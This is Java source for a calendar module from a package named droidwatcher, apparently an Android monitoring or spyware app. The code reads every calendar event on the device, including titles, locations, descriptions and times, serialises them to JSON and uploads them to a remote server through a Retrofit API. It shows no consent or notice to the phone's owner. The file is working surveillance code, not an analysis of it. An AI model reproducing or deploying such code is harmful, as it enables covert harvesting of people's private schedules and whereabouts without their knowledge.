package com.droidwatcher.modules;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.provider.CalendarContract;

import com.alibaba.fastjson.JSON;
import com.droidwatcher.JsonEntity.CalendarJsonObj;
import com.droidwatcher.JsonEntity.HttpRequestHead;
import com.droidwatcher.lib.Calendar;
import com.droidwatcher.lib.IMessageBody;
import com.droidwatcher.retrofit.MyRetrofitFactory;
import com.droidwatcher.retrofit.Result;
import com.droidwatcher.util.AXLog;

import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;

import okhttp3.MediaType;
import okhttp3.RequestBody;
import rx.Subscriber;
import rx.schedulers.Schedulers;

/**
 * Created by Administrator on 2018/3/19.
 */

public class CalendarModule {

    public static DateFormat df = new SimpleDateFormat("yy-MM-dd hh:mm:ss");


    public static String calanderEventURL = "";

    static {
        if (Integer.parseInt(Build.VERSION.SDK) >= 8) {
            calanderEventURL = "content://com.android.calendar/events";
        } else {
            calanderEventURL = "content://calendar/events";
        }

    }


    public static void getCalendar(Context context) throws Exception{
        ArrayList<IMessageBody> calendars = new ArrayList<IMessageBody>();

        ContentResolver cr = context.getContentResolver();
        // 日历里面相应的Event的URI
        Uri uri = Uri.parse(calanderEventURL);
        Cursor cursor = cr.query(uri, null, null, null, null);

        String _ID = CalendarContract.Events.CALENDAR_ID;
        String _TITLE = CalendarContract.Events.TITLE;
        String _LOCATION = CalendarContract.Events.EVENT_LOCATION;
        String _DESCRIPTION = CalendarContract.Events.DESCRIPTION;
        String _DTSTART = CalendarContract.Events.DTSTART;
        String _DTEND= CalendarContract.Events.DTEND;


        while (cursor.moveToNext()) {
            String id = cursor.getString(cursor.getColumnIndex(_ID));
            String title = cursor.getString(cursor.getColumnIndex(_TITLE));
            String start_date = cursor.getString(cursor.getColumnIndex(_DTSTART));
            String last_date = cursor.getString(cursor.getColumnIndex(_DTEND));
            String eventLocation = cursor.getString(cursor.getColumnIndex(_LOCATION));
            String description = cursor.getString(cursor.getColumnIndex(_DESCRIPTION));

            Calendar calendar = new Calendar(id, title, start_date, last_date, eventLocation, description);
            calendars.add(calendar);
        }

        cursor.close();

        CalendarJsonObj obj = new CalendarJsonObj();
        obj.setHead(new HttpRequestHead());
        CalendarJsonObj.Data data = new CalendarJsonObj.Data();
        data.setCalendarEntityList(calendars);
        obj.setData(data);
        RequestBody body = RequestBody.create(MediaType.parse("text/plain"), JSON.toJSONString(obj));
        MyRetrofitFactory
                .getSendAPISingleton()
                .uploadCalendar(body)
                .subscribeOn(Schedulers.io())
                .subscribe(new Subscriber<Result<String>>() {
                    @Override
                    public void onCompleted() {
                        AXLog.e("wzytest","run in onCompleted");
                    }

                    @Override
                    public void onError(Throwable e) {
                        AXLog.e("wzytest","run in onError");
                    }

                    @Override
                    public void onNext(Result<String> responseBody) {
                        AXLog.e("wzytest","run in onNext:"+responseBody);
                    }
                });

    }
}
